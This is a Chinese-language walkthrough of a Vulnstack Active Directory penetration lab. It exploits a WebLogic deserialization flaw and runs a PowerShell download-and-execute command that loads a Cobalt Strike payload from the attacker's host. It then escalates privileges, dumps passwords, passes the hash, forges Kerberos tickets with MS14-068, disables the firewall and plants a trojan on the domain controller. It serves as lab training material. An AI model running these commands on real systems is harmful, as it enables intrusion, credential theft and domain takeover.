闲来无事,跟着大佬思路做下!!!
环境说明
靶机链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
内网网段:10.10.10.1/24
DMZ网段:192.168.111.1/24
测试机地址:192.168.111.1(Windows),192.168.111.11(Linux)
防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):
1 | deny all tcp ports:10.10.10.1 |
DC
IP:10.10.10.10 OS:Windows 2012(64)
应用:AD域
WEB
IP1:10.10.10.80 IP2:192.168.111.80 OS:Windows 2008(64)
应用:Weblogic 10.3.6 MSSQL 2008
PC
IP1:10.10.10.201 IP2:192.168.111.201 OS:Windows 7(32)
应用:
攻击机
IP:192.168.111.1 OS:Windows 10(64)
IP:192.168.111.11 OS:Parrot(64)
一些名词概念
DMZ
英文为demilitarized zone
,中文名称为“隔离区”,也称“非军事化区”,是指内外网防火墙之间的区域,DMZ区是一个缓冲区,在DMZ区存放着一些公共服务器,比如论坛等。
DMZ的特点如下:
内网可以访问外网,内网的用户需要自由地访问外网。在这一策略中,防火墙需要执行NAT。
内网可以访问DMZ,此策略使内网用户可以使用或者管理DMZ中的服务器。
外网不能访问内网,这是防火墙的基本策略了,内网中存放的是公司内部数据,显然这些数据是不允许外网的用户进行访问的。如果要访问,就要通过VPN方式来进行。
外网可以访问DMZ,DMZ中的服务器需要为外界提供服务,所以外网必须可以访问DMZ。同时,外网访问DMZ需要由防火墙完成对外地址到服务器实际地址的转换。
DMZ不能访问内网,如不执行此策略,则当入侵者攻陷DMZ时,内部网络将不会受保护。
DMZ不能访问外网,此条策略也有例外,比如我们的例子中,在DMZ中放置邮件服务器时,就需要访问外网,否则将不能正常工作。
AD
活动目录(Active Directory)主要是指是面向Windows Server的目录服务。(Active Directory不能运行在Windows Web Server上,但是可以通过它对运行Windows Web Server的计算机进行管理。)Active Directory存储了有关网络对象的信息,并且让管理员和用户能够轻松地查找和使用这些信息。Active Directory使用了一种结构化的数据存储方式,并以此作为基础对目录信息进行合乎逻辑的分层组织。
DC
域控制器( Domain controller,DC)是活动目录的存储位置,安装了活动目录的计算机称为域控制器。
网络配置
在虚拟网络配置器里增加一个网卡 这里添加的是VMnet2 设置如下:
注意将主机虚拟适配器连接到此网络取消勾选 子网ip设置为10.10.10.0
接着修改下NAT的网段 改成192.168.111.0
各靶机的连接情况:
1 | DC ==> VMnet2 |
关于网络设置 我也不是很懂 web那个是dmz按理说不能出网的 但不出网又没法反弹shell
拿下web机器
weblogic到cs上线
web机器上的weblogic服务默认没有开启 找到C:\Oracle\Middleware\user_projects\domains\base_domain\bin
目录 右键以管理员身份运行startWebLogic.bat
访问:http://192.168.111.80:7001/
使用GitHub上覆盖漏洞最多最全的检测工具:https://github.com/0xn0ne/weblogicScanner 这个是基于star最多的那个并进行了bug修复,提高了准确性
开一个kali NAT连接网络作为攻击机 克隆下来 检测目标
发现确实存在不少漏洞 但是不太明显具体哪个洞 使用grep筛选一下
这个靶场是比较老的 考虑到当时可能还没有这些新洞 所以我们使用老洞进行打
就拿第一个CVE-2017-3248来弄吧 参考:https://www.anquanke.com/post/id/225137
首先要准备两个东西 java反序列化工具ysoserial Github:https://github.com/frohoff/ysoserial
直接下载打包好的jar文件:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
这个工具路径需要全为英文
另外一个就是exploit-db上的poc:https://www.exploit-db.com/exploits/44553
先测试下能不能用 宿主机起一个JRMP服务
kali使用poc攻击
可以看到已经能命令执行
尝试用powershell反弹cs 这里我在kali起cs 宿主机作为客户端控制cs 先开启cs
先新建一个监听器
生成payload 选择:
由于命令太长 这里在宿主机起一个web服务 直接使用python起一个
1 | python -m http.server 8000 |
继续使用那个脚本来进行命令执行 这里要执行的命令就是 即从远程加载powershell命令执行
1 | powershell.exe iex (new-object net.webclient).downloadstring('http://192.168.111.1:8000/payload.txt') |
所有环境都准备好了 开打
看到有请求发送 cs也可以上线 当前权限为Administrator 尝试使用getsystem命令失败
提权
systeminfo查看系统信息
发现系统为
1 | Microsoft Windows Server 2008 R2 Standard |
补丁就三个 应该好提权
1 | [01]: KB2999226 |
为了方便直接使用cs的插件提权:https://github.com/pandasec888/taowu-cobalt-strike
直接用ms14-058 可以看到已经收到一个system的会话 提权成功
下面再介绍一些技巧
cs/msf会话互转
cs会话转msf
msf监听
1 | handler -H 192.168.111.128 -P 4444 -p windows/meterpreter/reverse_http |
cs增加会话 新增一个监听器 ip端口填对应就行
选中目标 选中监听器确定就行
这边msf已经接收到会话
或者选择spawn as
选择对应的监听器
msf会话转cs
1 | use exploit/windows/local/payload_inject |
可以看到cs里已经收到会话
拿下域控
现在我们已经有一台机器的shell了 想怎么拿到域控的权限?接着就是后渗透部分了
域内信息收集
判断web机器是否在域内 如下命令:
可以查看主机所有网卡的获取到的ip地址 一般情况下某个网段的dns服务器就是域控
1 | ipconfig /all |
信息收集
1 | net view /domain # 查看所有域 |
端口扫描
发现存活主机
在这可以看到
横向移动
代理转发
首先设置代理 直接使用cs sock4代理
kali proxychains设置代理 修改/etc/proxychains.conf
使用代理打开火狐浏览器 访问127.0.0.1:7001 发现是weblogic的页面说明已经成功代理出来
1 | proxychains firefox |
使用代理使用nmap对域控10.10.10.10进行扫描 扫描发现存在ms17-010漏洞
这时候就有一个问题了 由于域控只有一个网卡 并且是host only模式 所以没办法直接反弹shell 需要让web机器做跳转 这个问题我们后面再说 先看看怎么把马传到域控上并执行
Pass the Hash
首先我们可以使用logonpasswords
抓取下明文密码 几个用户的密码都是这个
在默认情况下,当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过以下方式开启,但需要用户重新登录后才能成功抓取。但是目标系统为Windows 2008(64),因此可以抓到明文密码
再说说Pass the Hash,哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。
直接使用cs里面的pth命令 用法:
1 | pth domain\user NTLM |
直接列下dc上的文件shell dir \\DC.de1ay.com
提示拒绝访问 我们需要制作令牌
使用明文密码
使用hash
Pass the Ticket
这里使用ms14-068攻击 对应CVE-2014-6324 当拿到了一个普通域成员的账号后,想继续对该域进行渗透,如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务器权限 对应补丁号为kb3011780 可以从systeminfo获取 也可以使用
1 | wmic qfe get hotfixid |
接下来使用的工具叫PyKEK 是一个利用 Kerberos 协议进行渗透测试的工具包 地址:https://github.com/mubix/pykek 下载下来
可以使用 PyKEY 可以生成一张高权限的服务票据,并通过 mimikatz 将服务票据注入内存。
先查看本地de1ay的sid
1 | whoami /user |
或者
1 | wmic useraccount get name,sid |
查看域用户 需要system权限查看
尝试使用de1ay用户制作票据
1 | proxychains python ms14-068.py -u de1ay@de1ay.com -s S-1-5-21-3767205380-3469466069-2137393323-500 -d 10.10.10.10 -p '1qaz@WSX' |
使用 KrbCredExport进行转换
1 | python KrbCredExport.py ../pykek/TGT_de1ay@de1ay.com.ccache de1ay.ticket |
用cs将票据注入内存中 先清除之前的凭证
1 | kerberos_ticket_purge |
不知道为啥不行 换成exe也不行 哭了 过段时间再研究吧 后来发现换成ip就行了 哭了
加用户Administrator不行 system可以 domain还要大写
加到管理员组
IPC连接
假设现在我们现在已经增加一个用户了 实际并没 只能使用默认账户 我们可以使用ipc连接将马传上去 不知道为啥sysytem权限的会话可以直接列目录
1 | shell net use \\10.10.10.10\c$ P@ssword /user:hacker |
关闭连接的话使用
1 | shell net use \\10.10.10.10\c$ /del |
关闭防火墙
1 | netsh advfirewall set allprofiles state off |
新建一个中转
使用cs生成exe
使用shell的copy命令将马拷到dc上
1 | shell copy C:\Windows\Temp\artifact.exe \\10.10.10.10\c$\windows\temp\1.exe |
cs设置监听 使用wmic执行木马
1 | shell wmic /node:10.10.10.10 /user:hacker /password:P@ssword process call create "C:\Windows\Temp\1.exe" |
但是这样貌似不行
psexec
增加一个中转
目标 psexec
监听器选择中转
域控上线
同样的方式pc也能上线 全部上线截图
参考:
https://www.anquanke.com/post/id/193193
http://akevin.cn/index.php/archives/985/